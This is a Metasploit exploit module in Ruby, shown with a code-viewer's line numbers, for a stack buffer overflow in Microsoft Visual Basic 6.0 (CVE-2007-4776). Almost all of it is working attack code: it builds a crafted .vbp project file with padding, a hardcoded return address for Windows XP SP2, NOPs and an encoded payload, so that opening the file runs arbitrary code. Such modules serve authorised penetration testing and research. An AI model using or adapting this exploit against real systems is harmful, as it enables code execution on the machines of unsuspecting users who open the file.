1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 |
## # $Id: ms_visual_basic_vbp.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Visual Basic VBP Buffer Overflow', 'Description'=> %q{ This module exploits a stack oveflow in Microsoft Visual Basic 6.0. When a specially crafted vbp file containing a long reference line, an attacker may be able to execute arbitrary code. }, 'License'=> MSF_LICENSE, 'Author' => [ 'MC' ], 'Version'=> '$Revision: 10477 $', 'References' => [ [ 'CVE', '2007-4776' ], [ 'OSVDB', '36936' ], [ 'BID', '25629' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space'=> 650, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, 'DisableNops' =>'True', }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Sep 4 2007', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.vbp']), ], self.class) end def exploit sploit =rand_text_alpha_upper(496) + [target.ret].pack('V') sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V') sploit << make_nops(24) + payload.encoded vbp ="Type=Exe\r\n" vbp << "Form=Form2.frm\r\n" vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation" vbp << sploit + "\r\n" vbp << "Startup=\"Form2\"\r\n" vbp << "Command32=\"\"\r\n" vbp << "Name=\"Project2\"\r\n" vbp << "HelpContextID=\"0\"\r\n" vbp << "CompatibleMode=\"0\"\r\n" vbp << "MajorVer=1\r\n" vbp << "MinorVer=0\r\n" vbp << "RevisionVer=0\r\n" vbp << "AutoIncrementVer=0\r\n" vbp << "ServerSupportFiles=0\r\n" vbp << "VersionCompanyName=\"\"\r\n" vbp << "CompilationType=0\r\n" vbp << "OptimizationType=0\r\n" vbp << "FavorPentiumPro(tm)=0\r\n" vbp << "CodeViewDebugInfo=0\r\n" vbp << "NoAliasing=0\r\n" vbp << "BoundsCheck=0\r\n" vbp << "OverflowCheck=0\r\n" vbp << "FlPointCheck=0\r\n" vbp << "FDIVCheck=0\r\n" vbp << "UnroundedFP=0\r\n" vbp << "StartMode=0\r\n" vbp << "Unattended=0\r\n" vbp << "Retained=0\r\n" vbp << "ThreadPerObject=0\r\n" vbp << "MaxNumberOfThreads=1\r\n" vbp << "[MS Transaction Server]\r\n" vbp << "AutoRefresh=1\r\n" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(vbp) end end |